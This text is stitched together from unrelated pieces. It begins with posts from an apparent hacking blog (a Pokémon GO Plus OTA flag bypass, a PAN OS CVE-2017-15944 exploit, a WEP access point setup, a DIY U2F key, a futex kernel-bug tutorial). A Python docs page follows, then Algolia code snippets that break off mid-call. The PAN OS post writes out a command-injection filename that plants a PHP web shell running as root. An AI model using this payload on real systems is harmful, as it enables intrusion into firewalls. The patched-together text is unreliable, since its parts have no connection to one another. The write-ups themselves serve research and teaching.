For every incoming data that is written to SPI flash, the hash is updated At the end of the update, a signature check is performed based on the SHA256 AND some data from OTP. If everything is valid, then the firmware image is set to valid. I didn’t go into detail on the signature check algorithm, I know it uses big number computations, probably RSA but I didn’t verify it. I also don’t feel that I will find a bug there. What’s important is what happens next: if the signature is valid then a flag is set to indicate that the image is valid. So to be clear: If we modify a firmware using SPI flasher, we just overwrite existing firmware and the valid flag is kept on If we modify a firmware using OTA, we need it to be set as valid at the end of the update process I know one thing for sure: the update process also requires a specific key from the OTP area. So if there was ever going to be an update from Niantic, that update requires a connection to their server to get a special key from them. So let’s go back and see if there is another way to set the image to be valid. This is the original source code inside app_spotar_img_hdlr.c in the DA14580 SDK: The compiled binary has an extra call to update the SHA256, but its not important for now. Lets focus on just this one line: ret = spi_flash_write_data (spota_all_pd, (spota_state.mem_base_add + spota_state.suota_img_idx), spota_state.suota_block_idx); The variable spota_all_pd contains data sent from the updater app. The second parameter specifies where to write the data (the address in SPI block) and the third parameter is the size. Visually, we can see that mem_base_add points to the beginning address in the SPI flash, and suota_img_idx points to the current block. When the write is succesful we increment the address through: spota_state.suota_img_idx += spota_state.suota_block_idx; It seems to be fine. I looked for possible buffer overflows for code execution and I couldn’t find one. But what if we can modify spota_state.mem_base_add then we will be able to write anywhere in the SPI flash, including in the image valid flag. I found a function called: app_spotar_read_mem which is supposed to be called after we finished writing all of the data. This is also where the final check is performed before writing, This code is very strange: instead of using a temporary variable it uses: spota_state.mem_base_add to store a temporary value to be used for setting spota_state.suota_image_bank . When spota_state.mem_base_add is greater than 2 this function will fail. And this is exactly what we need: a way to modify mem_base_add . So what we need to do is: Send data via OTA as usual, and this will be written to SPI as expected Before sending the last part of the data, send a request such that app_spotar_read_mem is called, and set the mem_base_add to the beginning of our firmware header, where the valid flag is Send the last part of the data, which will overwrite the firmware header. This last data is the header that we want Moving mem_base_add up And that’s the idea. Jesus-bamford did a great job implementing this idea and I was so happy that it works. Here is his software in action. The firmware is already open source at: https://github.com/Jesus805/PGP_Suota But the updater is not yet ready for release. He is currently reimplementing the OTA software for Android because his current code is based on the SDK code. When he is finished, anyone should be able to extract their Pokemon Go Plus key without opening it. I know that I should probably wait until his work is finished before publishing this, but I am also hoping that others can help him. May be implement the update for different iOS, or start working on implementation of Pokemon Go Plus for other devices. It might also be possible to implement the Pokemon Go Plus using EdXposed (this is a fork of XPosed that works with Pokemon Go) or by adding a library to the iOS version that intercepts the BLE API calls. Author admin Posted on May 1, 2019 March 7, 2021 Categories hacks , hardware , reverse-engineering , security , writeup Leave a comment on Reverse Engineering Pokémon GO Plus Part 2: OTA Signature Bypass An alternative way to exploit CVE-2017-15944 on PAN OS 6.1.0 On the beginning of 2018 during a pentest work, I found a firewall that has that should be exploitable using the bug CVE-2017-15944 , but somehow the exploits I found doesn’t work on the last step: we never got the code to be executed by cron. In the end I found out the reason: It turns out there was an attacker already connected to the target that halts the cron script execution so other attackers won’t be able to execute the same attack. I will explain an alternative cron script that can be used for exploitation in the presence of another attacker. This exploit has been verified to work on PAN OS 6.1.0, but may work on other versions too (I don’t have other devices or firmware image to check this). I will not explain in detail how the original exploit works, there is a lot of explanation that you can already read in the web (for example this Russian article is very good, you can use Google Translate to read it in English). I have verified that the auth bypass and file creation works on my target before continuing. On the final step of the exploit, all the articles and exploits that I read will use genidex .sh script. The problem with this is: this script will check if another instance of it is still running, and if it is, then it will just exit, preventing us from performing an attack when another attacker is still connected. On PAN OS 6.1.0 (the only version that I can verify that it works) there is another script called core_compress, which is a python script. Just like genindex .sh, this script is also executed every 15 minutes as root. This script searches for the following directories: Then it compresses the *.core files on those directories using “tar” The problem is: the file names are not escaped So the exploit is quite simple: make a simple PHP payload: echo <?php system($_GET["c"]);?>|base64 # PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+Cg== and write it to a file (for example /var/appweb/htdocs/api/j.php). This can be done by creating a file that will be executed like this: echo PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+Cg==|base64 -d >/var/appweb/htdocs/api/j.php We need to have that string as a filename, but we can’t have a slash (/) in a filename on Linux, so we need to escape this. My method is to use ${PATH:0:1}, using the fact the $PATH variable always has a slash as the first character. The final exploit is just to create a file (using the same bug as the other exploit) with the following name: /var/cores/$(echo PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+Cg==|base64 -d >${PATH:0:1}var${PATH:0:1}appweb${PATH:0:1}htdocs${PATH:0:1}api${PATH:0:1}j.php).core Of course it would a better Idea to start from last path ( /opt/ lpfs /var/cores) to first (/var/cores) when constructing an exploit, so if the last one failed we can try with the next path. So that’s all. In maybe 90% of cases most exploit will work out of the box, but sometimes you need to really understand what it does and fix it or find a workaround for a case like this. As a note: I have verified that on latest PAN OS , they fixed a lot of things including this cron script (but I don’t know in which particular version this bug was fixed). Author admin Posted on January 10, 2019 January 10, 2019 Categories hacks , security , writeup Leave a comment on An alternative way to exploit CVE-2017-15944 on PAN OS 6.1.0 Raspberry Pi as Alphasmart Dana Access Point and File Share Alphasmart Dana is a Palm OS device with a keyboard form factor that is still popular among writers. One of the Alphasmart Dana version has a wireless capability, but it only supports WEP 40/128 bit. WEP has a very weak security and is not supposed to be used anymore. Alphasmart Dana also supports SAMBA file share but it only supports SMB1 (which is also considered insecure). Since Alphasmart Dana was made on 2002 and the last software update was 2005, there is no hope for WPA upgrade or newer SMB protocol. To be able to easily transfer files from/to Alphasmart Dana, I made a special WEP access point with my Raspberry Pi 2 that works on a separate subnet. I use a cheap RT5370 USB WIFI for the access point and ethernet cable to connect to my local network. In my opinion, this will not be 100% secure but It is enough for my need. It is much better than changing your home WIFI encryption to WEP (which will make everything insecure). The dongle that I use is very small and the range is only a few meters away, this already helps with security since it will not be accessible outside my house (but a very determined person with the right equipment may still be able to communicate with it). I gave Alphasmart Dana a separate subnet (172.17.x.x) different from my local network (192.168.x.x) and I did not set it up to forward connections between this two subnets (by default it won’t). For the file share, I set up one Samba public share to transfer files from/to my Dana. This share is only accessible through the subnet obtained from WEP access point. In the very worst case, if someone can get in, they can steal my files in that share. But since I am not working on anything secret (mostly just my draft for my blog posts), I am willing to accept the risk. I gave this long explanation about security in case someone wants to make a portable set up out of this guide. If you bring your access point to a coffee shop, someone can break the encryption in a very short time and steal your next best-selling novel. I repeat that my setup is only for my desktop which is only reachable from my bedroom (and I live in a house which is quite far from my neighbors), and I don’t work on important documents. Access Point First, we need to setup the static IP address for the wlan0, I choose 172.17.1.1. To do this, create /etc/network/interfaces/wlan0 . auto wlan0 iface wlan0 inet static address 172.17.1.1 Then we need to setup DHCP server that will hand out IPs automatically. If you need more security, you can also setup static IP with secret IP address (this is just another layer of obfuscation). I have several Dana in my house (my Wife’s and Children’s). For DHCP server, I use dnsmasq because it is very simple. Install dnsmasq: sudo apt-get install -y dnsmasq This is what you need to add in /etc/dnsmasq.conf: dhcp-range=172.17.1.10,172.17.1.250,12h For the access point part, I use hostapd. Create /etc/hostapd/hostapd.conf with the following content. The encryption can be 40 bits (5 characters) or 128 bits (16 characters). interface=wlan0 ssid=dana hw_mode=g channel=6 macaddr_acl=0 auth_algs=3 wep_default_key=0 wep_key0="AAAAA" driver=nl80211 And also set the path to the config in: /etc/default/hostapd DAEMON_CONF="/etc/hostapd/hostapd.conf" We also need to disable wpa_supplicant (you may need to restart or kill the wpa_supplicant process if it was already started): sudo systemctl mask wpa_supplicant.service Now we can test this configuration by trying to connect using WiStat from Dana. If you can connect, the first part is complete. But you can’t access any file yet. File Share To set up file share, install samba: sudo apt-get install samba Edit /etc/samba/smb.conf inside the “[global]” section add: [global] lanman auth = Yes client lanman auth = Yes client plaintext auth = Yes server min protocol = NT1 And to set up a public directory which will be readable/writable by everyone (the name of this share is “dana”, change it as you like): [dana] path = /dana writeable = yes browseable = yes public = yes guest ok = yes read list = "nobody","@allaccount", write list = "nobody","@allaccount" Now you should be able to save/load file from Alphaword to the share, or view the share using WiFile. DropBox I will not write a specific instruction for this, you can read this guide on Raspberry Pi website on how to upload your files to Dropbox. I use a cron script that will upload the content of *.txt files to Dropbox. Note that the 172.17.x.x subnet cannot access the internet, but the wired network 192.168.x.x can access the Internet. So my current workflow is this: I write something on my Dana, and when I reach home, I save the file to the share. In a few minutes, the files are uploaded to Dropbox. Dropbox has a file history feature which is quite useful. Of course, you don’t have to use Dropbox, you can use also use git to have a remote backup with file history. One step that I wish I could do is: send all my work with a single click. For now, I need to send one file at a time. I hope this guide will be useful to anyone still using Dana (wireless version). Author admin Posted on May 27, 2018 December 26, 2020 Categories hacks , misc , raspberry 1 Comment on Raspberry Pi as Alphasmart Dana Access Point and File Share Teensy LC U2F key Around beginning of last month, GitHub users can buy a special edition U2F security keys for 5 USD (5000 keys were available) , and I got two of them. Universal 2nd Factor (U2F) is an open authentication standard that strengthens and simplifies two-factor authentication using specialized USB or NFC devices. A U2F USB key is a second factor authentication device so it doesn’t replace our password. To login to a website, we need to enter our username and password, AND the U2F USB key. To check for user presence (to prevent malware from accessing the key without user consent), the device usually has a button that needs to be pressed when logging in. Currently Google (Gmail, Google Drive, etc), Github, and Dropbox supports U2F devices, and we can also add support to our own site or apps using plugins or accessing the API directly (plugin for WordPress is available). After receiving the keys, I got curious and started to read the U2F specifications . The protocol is quite simple, but so far I haven’t been able to find an implementation of a U2F key device using existing microcontrollers (Arduino or anything else). The U2F protocol uses ECC signing and I found that there is already a small ECC library for AVR and ARM ( micro-ecc ). It supports ECDSA with P-256 curve required by U2F. A U2F device is actually just a USB HID Device, so I will need something that I can easily program as an HID device. The easiest device to program that I have is Teensy LC. I tested compiling the micro-ecc library, and found out that it results in about 15 kilobytes of code, so Teensy LC should be OK (it has 64 kbyte flash, and 8KB of RAM). Teensy LC is also very small, it’s ideal if someday I want to put a case around it. I can’t find an easy way to add new USB device using Teensyduino, so I decided to just patch the usb_desc.h, the only changes needed was to change the RAWHID_USAGE_PAGE to 0xf1d0 and RAWHID_USAGE to 0x01. I changed the PRODUCT_NAME to “Teensyduino U2FHID” just to make it easy to check that this works. The nice thing is: this doesn’t break anything (all code using RawHID would still run with this changes), and we can still see our code output using the virtual serial port provided by Teensyduino. #elif defined(USB_RAWHID) #define VENDOR_ID 0x16C0 #define PRODUCT_ID 0x0486 // #define RAWHID_USAGE_PAGE 0xFFAB // recommended: 0xFF00 to 0xFFFF // #define RAWHID_USAGE 0x0200 // recommended: 0x0100 to 0xFFFF #define RAWHID_USAGE_PAGE 0xf1d0 // recommended: 0xFF00 to 0xFFFF #define RAWHID_USAGE 0x01 // recommended: 0x0100 to 0xFFFF #define MANUFACTURER_NAME {'T','e','e','n','s','y','d','u','i','n','o'} #define MANUFACTURER_NAME_LEN 11 #define PRODUCT_NAME {'T','e','e','n','s','y','d','u','i','n','o',' ','U','2','F','H','I','D'} The U2F protocol is actually quite simple. When we want to use the hardware U2F key in a webapp (or desktop app), we need to add the USB key that we have to the app database. Practically, in the website, you would choose a menu that says “Add device” or “register new device”. When you choose the register/add device, the app will send a REGISTER request to they hardware U2F USB key with a unique appid (for web app, this consist of domain name and port). The hardware U2F key will generate a private/public key pair specific for this app id, and the hardware U2F key will respond by sending a “key handle” and a “public key” to the app. If we have several usernames in an app/website, we can use a single hardware U2F key to be used for all accounts (the “key handle” will be different for each account). Next time the user wants to login, the app/webapp will send authentication request to the hardware U2F key. In practice, when logging in, the website will request you to plug the hardware U2F key and press the button in the hardware key. The app will send a random challenge and the appid (to identify which app it is), and the “key handle” (so the hardware U2F key will know which private key to use to sign the request). The hardware U2F key will reply with the same random challenge signed with the private key corresponding with the “key handle”, and it will also increase a counter (the counter is to prevent re-play attack and cloning attack). There are two ways the hardware U2F key can keep track of which private key to use for a “key handle”: first one is to store a mapping of key handle to private key in a storage in the hardware U2F key, and when an app asks for a specific key handle, it can look up the private key in the storage. The second method is easier, and doesn’t require any storage, but slightly less secure: the “key handle” actually contains the private key itself (in encrypted form, otherwise anyone can send the request). Since the Teensy LC only contains 128 of EPROM, I used the second approach. Google provides U2F reference code including something to test USB U2F keys . I started using this to test my implementation step by step using HidTest and U2Ftest. In retrospect this was not really necessary to get a working U2F key for websites. There are cases that just wouldn’t happen normally, and sometimes the test requires strange assumption (for example: as far as I know nothing in the specification says that key handle size must be at least 64 bytes in size). Teensy LC doesn’t provide a user button (just a reset button), and I don’t want to add a button to it (it wouldn’t be portable anymore). So I just implemented everything without button press. This is insecure, but it’s ok for me for testing. For “key handle” I use a very simple xor encryption with fixed key which is not very secure. If you want a more secure approach, you can use a more complicated method . Most of the time implementing your own device is not more secure than buying commercial solution, but sometimes it has some advantages over commercial solutions. For example: most devices that I know of doesn’t have a ‘reset’ mechanism. So if for instance you are caught having a device, and they have access to a website data, they can prove from your device that you have an account in that site (there is a protocol to check if a given key handle is generated by a hardware U2F device). In our custom solution we can reset/reflash our own device (or just change the encryption key)) and have a plausible deniability that we are not related to that site (the suggestion in the U2F specification was to destroy a device if you no longer want to associate a website with your device if your device doesn’t have reset mechanism). I have published my source in github in case someone wants to implement something similar for other devices (or to improve my implementation). I have included the micro-ecc source because I want to experiment by removing some unneeded functions to reduce the code size (for example: we always use uncompressed point representation for U2F, we only use a single specific Curve, we never need to verify a signature, etc). You should change the key “-YOHANES-NUGROHO-YOHANES-NUGROHO-” for your own device (must be 64 characters if you want security). There are still a lot of things that I want to explore regarding the U2F security, and having a device that I can hack will make things easier. Update: some people are really worried about my XOR method: you can change the key and make it 64 bytes long. It’s basically a one-time-pad (xoring 64 bytes, with some unknown 64 bytes). If you want it to be more secure: change the XOR into anything else that you want (this is something that is not specified in the standard). Even a Yubico U2F device is compromised if you know the master key, in their blog post, they only mentioned that the master key is generated during manufacturing, and didn’t say if they also keep a record of the keys. Update again: this is not secure, see http://www.makomk.com/2015/11/10/breaking-a-teensy-u2f-implementation/ . Regarding the buttonless approach: it’s really easy to add them. In my code, there is an ifdef for SIMULATE_BUTTON. It will just pretend that the button was not pressed on first request, and pressed on second request. Just change it so that it really reads a physical button. Author admin Posted on November 8, 2015 July 26, 2018 Categories hacks , opensource , security 12 Comments on Teensy LC U2F key Exploiting the Futex Bug and uncovering Towelroot The Futex bug ( CVE-2014-3153 ) is a serious bug that affects most Linux kernel version and was made popular by geohot in his towelroot exploit. You can read the original comex report at hackerone . Others have succesfully implemented this ( this one for example ), but no public exploit source code is available. This post will describe in detail about what exactly is the futex bug, how to exploit the futex bug, and also explains how towelroot works and what the modstring in Towelroot v3 actually do. Following the footsteps of other security researchers, I will not give a full source code to the exploit. By giving enough details, I hope programmers can learn and appreciate the exploit created for this bug. By not releasing the source, I hope this should stop most script kiddies. There will be some small details that I will gloss over (about the priority list manipulation), so it will require some thinking and experimentation to implement the exploit. One thing to note: I did some kernel programming, but never written a kernel exploit before, so this is my first time, I hope this is a good write up for a newbie exploit writer like me. Distributing the exploit source code will be useful only to handful of people, but writing about it will be useful to all programmers interested in this. Towelroot is not opensource, and the binary is protected from reverse engineering by compiling it with llvm-obfuscator . When I started, I tried using 64 bit kernel on my desktop, and was not successful because I can’t find a syscall that can alter the stack in the correct location. So I decided to do a blackbox reverse engineering by looking at syscalls used by towelroot. Since (I think) I know how towelroot works, I will discuss about it, and I hope it will help people to understand/modify modstrings used in towelroot v3. If you are an exploit hacker, just jump to “on to the kernel” part. The initial part is only for those unexperienced in writing exploits. Before exploiting this bug we need to understand what the bug is. In short, the bug is that there is a data structure in the stack, that is part of a priority list that is left there and can be manipulated. This is very vague for most of programmers, so lets break it down. You need to understand what a stack is and how it works. The Stack A stack is a block of memory set aside for local variable, for parameter passing, and for storing return address of a procedure call. Usually when we talk about stack and exploits, we try to alter the return address and redirect it to another address and probably do ROP ( Return Oriented Programming ). This is not the case with this bug, so forget about that. Even though this bug is about futex, this is also not a race condition bug. Stack memory is reused accross procedure calls (not cleared) . See this simple example: You can compile then run it: gcc test.c -o mytest Note: just compile normally, don’t use any optimization level (-Ox): $./mytest local foo is 10 local foo is 12 As you can see, both procedures uses exactly the same stack layout. Both local uses the same stack location. When bar is called, it writes to the same stack location used by “foo” for its local variable. This simple concept will play a role in understanding the bug. Next topic is about linked list. Usually a pointer based data structure uses heap for storing the elements (We don’t use stack because we want the elements to be “permanent” accross calls), but sometimes we can just use the stack, as long as we know that the element is going to be removed when the function exits, this will save time in allocation/deallocation. Here is an example of a made up problem where we put in an element located in the stack then removing it again before returning. In that example, if we don’t remove the element and we return, the app will likely crash when the stack content is altered then the list js manipulated. That is the simplified version of the bug in the userland. To exploit the bug, we need a good understanding of how futex work, especially the PI (Priority Inheritance Futex). There are very good papers that you can read about this topic. The first one is: Futexes Are Tricky , this will give a you an idea about what futex is and how it works. The other one is Requeue-PI: Making Glibc Condvars PI-Aware , this will give you a very thorough details about the PI futex implementation in the kernel. I suggest someone trying to implement the exploit to read at least the second paper. For those of you who are not that curious to read the papers, I will try to simplify it: when there are tasks waiting for a pi futex, the kernel creates a priority list of those tasks (to be precise, it creates a waiter structure for that task) . A priority list is used because we want to maintain a property of a pi futex, i.e, task with a high priority will be waken first even though it waits after a low priority task. The node of this priority list is stored in the kernel stack. Note that when a task waits for a futex, it will wait in kernel context, and will not return to user land. So the use of kernel stack here completely makes sense. Please note that before kernel 3.13, the kernel uses plist, but after 3.13 it uses rb_node for storing the list. If you want to exploit latest kernel, you will need to handle that. This is actually where the bug is: there is a case where the waiter is still linked in the waiter list and the function returns. Please note that a kernel stack is completely separate from user stack. You can not influence kernel stack just by calling your own function in the userspace. You can manipulate kernel stack value (like the first example) by doing syscall. If you don’t understand much about kernel, you can imagine a syscall is like a remote call to another machine: the execution on the other “machine” will use a separate stack from the one that you use in your local (user mode code). Note that this analogy doesn’t really hold when we talk about exploiting memory space. A simpler bug Before going into the detail about how the bug can be exploited in the kernel. I will present a much smaller and easier to understand userland code that has a similar bug. After you understand this, I will show how the kernel exploit works based on the same principle: First, you will need to compile this in 32 bit mode, so the sizeof int is the same as the size of pointer (32 bit), don’t use any optimization when compiling. gcc -m32 list1.c Then run the resulting executable without any parameters it will print something like this: $ ./mylist we will use pos: -1 Not a buggy function Value = Alpha Value = Beta Value = --END OF LIST-- a buggy function, here is the location of value on stack 0xffd724a4 Value = Alpha Value = Beta Value = --END OF LIST-- location of buf[0] is 0xffd72488 location of buf[1] is 0xffd7248c location of buf[2] is 0xffd72490 location of buf[3] is 0xffd72494 location of buf[4] is 0xffd72498 location of buf[5] is 0xffd7249c location of buf[6] is 0xffd724a0 location of buf[7] is 0xffd724a4 location of buf[8] is 0xffd724a8 location of buf[9] is 0xffd724ac Value = Alpha Value = Beta Value = --END OF LIST-- Notice the location of value on stack, which in this example is 0xffd724a4. Notice that it is the same as the address of buf[7]. Now run the test again, like this: $./mylist 7 HACKED we will use pos: 7 Not a buggy function Value = Alpha Value = Beta Value = --END OF LIST-- a buggy function, here is the location of value on stack 0xffd3bd34 Value = Alpha Value = Beta Value = --END OF LIST-- Value = Alpha Value = Beta Value = HACKED There is no assignment of the value “HACKED” to the list element, but it printed the word “HACKED”. Why this works? because we assign to the exact memory location in stack where “value” was stored. Also note that the location printed is now different because of ASLR , but because the position is the same in the stack, element number 7 is also relocated to the same address. Now try out if you use other value than 7, also try a very small or very large value. You can also try this with stack protector on: gcc -m32 -fstack-protector list1.c The element that matched the address will be different (may be 7 becomes 8 or 6), but the exploit will still work if you adjust the element number with the matching address. In this example, I made a very convenient function that makes the “exploit” easy (named a_function_to_exploit). In the real world, if we want to modify certain location in stack, we need to find a function that has a correct “depth” (that is: the stack size usage is at least the same as the function that we are trying to exploit), and we need to be able to manipulate the value on that stack depth. To understand about stack depth, you can comment the dummy_var1/dummy_var2/dummy_var3, compile, and see the stack address change. You can also see that if the function is optimized, certain variables are no longer in stack (moved to registers if possible). Writing using list Once you know how to manipulate an element of the list, you can | 2026-01-13T08:48:56 |
https://docs.python.org/about.html | About this documentation — Python 3.14.2 documentation Theme Auto Light Dark Table of Contents About this documentation Contributors to the Python documentation Previous topic Glossary Next topic Dealing with Bugs This page Report a bug Show source Navigation index modules | next | previous | Python » 3.14.2 Documentation » About this documentation | Theme Auto Light Dark | About this documentation ¶ Python’s documentation is generated from reStructuredText sources using Sphinx , a documentation generator originally created for Python and now maintained as an independent project. Development of the documentation and its toolchain is an entirely volunteer effort, just like Python itself. If you want to contribute, please take a look at the Dealing with Bugs page for information on how to do so. New volunteers are always welcome! Many thanks go to: Fred L. Drake, Jr., the creator of the original Python documentation toolset and author of much of the content; the Docutils project for creating reStructuredText and the Docutils suite; Fredrik Lundh for his Alternative Python Reference project from which Sphinx got many good ideas. Contributors to the Python documentation ¶ Many people have contributed to the Python language, the Python standard library, and the Python documentation. See Misc/ACKS in the Python source distribution for a partial list of contributors. It is only with the input and contributions of the Python community that Python has such wonderful documentation – Thank You! Table of Contents About this documentation Contributors to the Python documentation Previous topic Glossary Next topic Dealing with Bugs This page Report a bug Show source « Navigation index modules | next | previous | Python » 3.14.2 Documentation » About this documentation | Theme Auto Light Dark | © Copyright 2001 Python Software Foundation. This page is licensed under the Python Software Foundation License Version 2. Examples, recipes, and other code in the documentation are additionally licensed under the Zero Clause BSD License. See History and License for more information. The Python Software Foundation is a non-profit corporation. Please donate. Last updated on Jan 13, 2026 (06:19 UTC). Found a bug ? Created using Sphinx 8.2.3. | 2026-01-13T08:48:56 |
https://docs.python.org/3/bugs.html | Dealing with Bugs — Python 3.14.2 documentation Theme Auto Light Dark Table of Contents Dealing with Bugs Documentation bugs Using the Python issue tracker Getting started contributing to Python yourself Previous topic About this documentation Next topic Copyright This page Report a bug Show source Navigation index modules | next | previous | Python » 3.14.2 Documentation » Dealing with Bugs | Theme Auto Light Dark | Dealing with Bugs ¶ Python is a mature programming language which has established a reputation for stability. In order to maintain this reputation, the developers would like to know of any deficiencies you find in Python. It can be sometimes faster to fix bugs yourself and contribute patches to Python as it streamlines the process and involves less people. Learn how to contribute . Documentation bugs ¶ If you find a bug in this documentation or would like to propose an improvement, please submit a bug report on the issue tracker . If you have a suggestion on how to fix it, include that as well. You can also open a discussion item on our Documentation Discourse forum . If you find a bug in the theme (HTML / CSS / JavaScript) of the documentation, please submit a bug report on the python-doc-theme issue tracker . See also Documentation bugs A list of documentation bugs that have been submitted to the Python issue tracker. Issue Tracking Overview of the process involved in reporting an improvement on the tracker. Helping with Documentation Comprehensive guide for individuals that are interested in contributing to Python documentation. Documentation Translations A list of GitHub pages for documentation translation and their primary contacts. Using the Python issue tracker ¶ Issue reports for Python itself should be submitted via the GitHub issues tracker ( https://github.com/python/cpython/issues ). The GitHub issues tracker offers a web form which allows pertinent information to be entered and submitted to the developers. The first step in filing a report is to determine whether the problem has already been reported. The advantage in doing so, aside from saving the developers’ time, is that you learn what has been done to fix it; it may be that the problem has already been fixed for the next release, or additional information is needed (in which case you are welcome to provide it if you can!). To do this, search the tracker using the search box at the top of the page. If the problem you’re reporting is not already in the list, log in to GitHub. If you don’t already have a GitHub account, create a new account using the “Sign up” link. It is not possible to submit a bug report anonymously. Being now logged in, you can submit an issue. Click on the “New issue” button in the top bar to report a new issue. The submission form has two fields, “Title” and “Comment”. For the “Title” field, enter a very short description of the problem; fewer than ten words is good. In the “Comment” field, describe the problem in detail, including what you expected to happen and what did happen. Be sure to include whether any extension modules were involved, and what hardware and software platform you were using (including version information as appropriate). Each issue report will be reviewed by a developer who will determine what needs to be done to correct the problem. You will receive an update each time an action is taken on the issue. See also How to Report Bugs Effectively Article which goes into some detail about how to create a useful bug report. This describes what kind of information is useful and why it is useful. Bug Writing Guidelines Information about writing a good bug report. Some of this is specific to the Mozilla project, but describes general good practices. Getting started contributing to Python yourself ¶ Beyond just reporting bugs that you find, you are also welcome to submit patches to fix them. You can find more information on how to get started patching Python in the Python Developer’s Guide . If you have questions, the core-mentorship mailing list is a friendly place to get answers to any and all questions pertaining to the process of fixing issues in Python. Table of Contents Dealing with Bugs Documentation bugs Using the Python issue tracker Getting started contributing to Python yourself Previous topic About this documentation Next topic Copyright This page Report a bug Show source « Navigation index modules | next | previous | Python » 3.14.2 Documentation » Dealing with Bugs | Theme Auto Light Dark | © Copyright 2001 Python Software Foundation. This page is licensed under the Python Software Foundation License Version 2. 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Back-end Front-end Analytics Dropdown Ruby Rails Python Django Php Symfony Laravel JavaScript Java Scala Go C# Kotlin Swift JavaScript React Android Vue Angular IOS Php Ruby JavaScript Python Swift Android C# Java Go Scala my_index = client.init_index('contacts') my_index.save_object({ firstname: "Jimmie", lastname: "Barninger", company: "California Paint" }) Build with Ruby class Contact < ActiveRecord::Base include AlgoliaSearch algoliasearch do attribute :firstname, :lastname, :company end end Build with Rails myIndex = apiClient.init_index("contacts") myIndex.save_object({ "firstname": "Jimmie", "lastname": "Barninger", "company": "California Paint" }) Build with Python from algoliasearch_django import AlgoliaIndex from algoliasearch_django.decorators import register @register(YourModel) class YourModelIndex(AlgoliaIndex): fields = ('firstname', 'lastname', 'company') Build with Django $myIndex = $apiClient->initIndex("contacts"); $myIndex->saveObject([ "firstname" => "Jimmie", "lastname" => "Barninger", "company" => "California Paint", ]); Build with Php /** * @ORM\Entity */ class Contact { /** * @var string * * @ORM\Column(name="firstname", type="string") * @Group({searchable}) */ protected $firstname; /** * @var string * * @ORM\Column(name="lastname", type="string") * @Group({searchable}) */ protected $lastname; /** * @var string * * @ORM\Column(name="company", type="string") * @Group({searchable}) */ protected $company; } Build with Symfony use Illuminate\Database\Eloquent\Model; use Laravel\Scout\Searchable; class Contact extends Model { use Searchable; } Build with Laravel const myIndex = apiClient .initIndex('contacts'); myIndex.saveObject({ firstname: 'Jimmie', lastname: 'Barninger', company: 'California Paint', }); Build with JavaScript Index<Contact> index = client .initIndex("contacts", Contact.class); index.saveObject( new Contact() .setFirstname("Jimmie") .setLastname("Barninger") .setCompany("California Paint") ); Build with Java import algolia.AlgoliaDsl._ import scala.concurrent.ExecutionContext.Implicits.global case class Contact( firstname: String, lastname: String, company: String ) val indexing: Future[Indexing] = client.execute { index into "contacts" `object` Contact( "Jimmie", "Barninger", "California Paint" ) } Build with Scala object := map[string]string{ "firstname": "Jimmie", "lastname": "Barninger", "company": "California Paint" } res, err := index.SaveObject(object) Build with Go SearchIndex index = client.InitIndex("contacts"); var contact = new Contact { FirstName = "Jimmie", LastName = "Barninger", Company = "California Paint" }; index.SaveObject(contact); Build with C# val index = client.initIndex(IndexName("contacts")) val json = json { "firstname" to "Jimmie" "lastname" to "Barninger" "company" to "California Paint" } index.saveObject(json) Build with Kotlin let myIndex = apiClient.getIndex("contacts") let n = [ "firstname": "Jimmie", "lastname": "Barninger", "company": "California Paint" ] myIndex.saveObject(n) Build with Swift <div id="searchbox"></div> <div id="refinement"></div> <div id="hits"></div> <script> const { searchBox, hits } = instantsearch.widgets; search.addWidgets([ searchBox({ container: "#searchbox" }), hits({ container: "#hits" }), refinementList({ container: "#refinement", attribute: "company" }), ]); search.start(); </script> Build with JavaScript const App = () => ( <InstantSearch> <SearchBox /> <Hits /> <Pagination /> <RefinementList attribute="company" /> </InstantSearch> ); Build with React <RelativeLayout xmlns:algolia="http://schemas.android.com/apk/res-auto" xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent"> <com.algolia.instantsearch.ui.views.SearchBox android:id="@+id/search_box" android:layout_width="match_parent" android:layout_height="wrap_content"/> <com.algolia.instantsearch.ui.views.Stats android:id="@+id/search_box" android:layout_width="match_parent" android:layout_height="wrap_content"/> <com.algolia.instantsearch.ui.views.Hits android:layout_width="match_parent" android:layout_height="wrap_content" algolia:itemLayout="@layout/hits_item"/> </RelativeLayout> Build with Android <ais-instant-search> <ais-search-box /> <ais-refinement-list attribute="company" /> <ais-hits /> <ais-pagination /> </ais-instant-search> Build with Vue <ais-instantsearch> <ais-search-box></ais-search-box> <ais-refinement-list [attribute]="company" ></ais-refinement-list> <ais-hits></ais-hits> </ais-instantsearch> Build with Angular import InstantSearch override func viewDidLoad() { super.viewDidLoad() let searchBar = SearchBarWidget(frame: ...) let statsWidget = StatsLabelWidget(frame: ...) self.view.addSubview(searchBar) self.view.addSubview(statsWidget) InstantSearch.shared.registerAllWidgets(in: self.view)} Build with IOS $insights = AlgoliaAlgoliaSearchInsightsClient::create( 'ALGOLIA_APP_ID', 'ALGOLIA_API_KEY' ); $insights->user("user-123456")->clickedObjectIDsAfterSearch( 'Product Clicked', 'products', ['9780545139700'], [7], 'cba8245617aeace44' ); Build with Php insights = Algolia::Insights::Client.create('ALGOLIA_APP_ID', 'ALGOLIA_API_KEY') insights.user('user-123456').clicked_object_ids_after_search( 'Product Clicked', 'products', ['9780545139700'], [7], 'cba8245617aeace44' ) Build with Ruby // This requires installing the search-insights separate library: // https://github.com/algolia/search-insights.js // https://www.npmjs.com/package/search-insights aa('clickedObjectIDsAfterSearch', { userToken: 'user-123456', eventName: 'Product Clicked', index: 'products', queryID: 'cba8245617aeace44', objectIDs: ['9780545139700'], positions: [7], }); Build with JavaScript insights = client.init_insights_client().user('user-123456') insights.clicked_object_ids_after_search( 'Product Clicked', 'products', ['9780545139700'], [7], 'cba8245617aeace44' ) Build with Python Insights.register( appId: "ALGOLIA_APP_ID", apiKey: "ALGOLIA_API_KEY", userToken: "user-123456" ) Insights.shared?.clickedAfterSearch( eventName: "Product Clicked", indexName: "products", objectIDs: ["9780545139700"], positions: [7], queryID: "cba8245617aeace44" ) Build with Swift Insights.register( context, "ALGOLIA_APP_ID", "ALGOLIA_API_KEY", "user-123456" ) Insights.shared?.clickedAfterSearch( "Product Clicked", "products", "cba8245617aeace44", EventObjects.IDs("9780545139700"), listOf(7) ) Build with Android var insights = new InsightsClient( "ALGOLIA_APP_ID", "ALGOLIA_API_KEY" ).User("user-123456"); insights.ClickedObjectIDsAfterSearch( "Product Clicked", 